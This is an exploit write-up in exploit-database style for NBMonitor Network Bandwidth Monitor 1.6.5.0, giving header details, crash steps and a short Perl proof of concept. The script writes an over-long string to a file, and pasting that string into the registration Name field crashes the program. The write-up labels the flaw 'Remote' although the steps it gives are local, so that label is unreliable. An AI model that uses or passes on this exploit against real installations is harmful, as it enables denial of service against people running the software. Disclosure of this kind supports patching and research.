# Exploit Title: NBMonitor Network Bandwidth Monitor 1.6.5.0 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 22 january 2024 # Vendor Homepage: www.nsauditor.com # Software Link : http://www.nbmonitor.com/downloads/nbmonitor_setup.exe # Notification vendor: No reported # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Remote - Denial of Service (DoS) # Steps to Produce the Crash: # 1.- Run the code : perl 11-exploit.pl # 2.- Open exploit.txt and copy content to clipboard # 3.- Open NBMonitor # 4.- Register / Enter Registration Code # 5.- Paste ClipBoard on "Name" # 6.- Key: 1 # 7.- OK # 8 - Denial of Service #2. Proof of Concept - PoC #!/usr/bin/perl use strict; use warnings; my $exploit = "\x42\x43" x 138; open(my $file, '>', 'exploit.txt') or die "Cannot open file: $!"; print $file $exploit; close $file;